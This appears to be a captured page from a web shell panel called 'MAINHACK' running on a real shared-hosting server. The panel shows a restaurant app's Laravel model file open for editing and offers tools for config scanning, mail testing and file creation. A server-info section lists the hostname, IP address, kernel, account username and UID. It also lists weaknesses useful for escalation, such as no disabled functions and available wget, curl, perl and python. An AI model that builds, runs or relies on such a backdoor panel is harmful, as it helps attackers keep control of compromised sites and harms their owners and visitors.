[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Restaurant.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use App\Models\Vendor; class Restaurant extends Model { protected $dates = ['opening_time', 'closeing_time']; protected $casts = [ 'minimum_order' => 'float', 'comission' => 'float', 'tax' => 'float', 'delivery_charge' => 'float', 'schedule_order'=>'boolean', 'free_delivery'=>'boolean', 'vendor_id'=>'integer', 'status'=>'integer', 'delivery'=>'boolean', 'take_away'=>'boolean', 'zone_id'=>'integer', 'food_section'=>'boolean', 'reviews_section'=>'boolean', 'active'=>'boolean', 'gst_status'=>'boolean', 'pos_system'=>'boolean', 'self_delivery_system'=>'integer', 'open'=>'integer', 'gst_code'=>'string', 'off_day'=>'string', 'gst'=>'string', ]; protected $appends = ['gst_status','gst_code']; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'gst' ]; public function vendor() { return $this->belongsTo(Vendor::class); } public function foods() { return $this->hasMany(Food::class); } public function deliverymen() { return $this->hasMany(DeliveryMan::class); } public function orders() { return $this->hasMany(Order::class); } public function discount() { return $this->hasOne(Discount::class); } public function zone() { return $this->belongsTo(Zone::class); } public function campaigns() { return $this->belongsToMany(Campaign::class); } public function itemCampaigns() { return $this->hasMany(ItemCampaign::class); } public function reviews() { return $this->hasManyThrough(Review::class, Food::class); } public function getScheduleOrderAttribute($value) { return (boolean)(\App\CentralLogics\Helpers::schedule_order()?$value:0); } public function getRatingAttribute($value) { $ratings = json_decode($value, true); $rating5 = $ratings?$ratings[5]:0; $rating4 = $ratings?$ratings[4]:0; $rating3 = $ratings?$ratings[3]:0; $rating2 = $ratings?$ratings[2]:0; $rating1 = $ratings?$ratings[1]:0; return [$rating5, $rating4, $rating3, $rating2, $rating1]; } public function getGstStatusAttribute() { return (boolean)($this->gst?json_decode($this->gst, true)['status']:0); } public function getGstCodeAttribute() { return (string)($this->gst?json_decode($this->gst, true)['code']:''); } public function scopeDelivery($query) { $query->where('delivery',1); } public function scopeTakeaway($query) { $query->where('take_away',1); } public function scopeActive($query) { return $query->where('status', 1); } public function scopeOpened($query) { return $query->where('active', 1); } public function scopeWeekday($query) { return $query->where('off_day', 'not like', "%".now()->dayOfWeek."%"); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.25 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624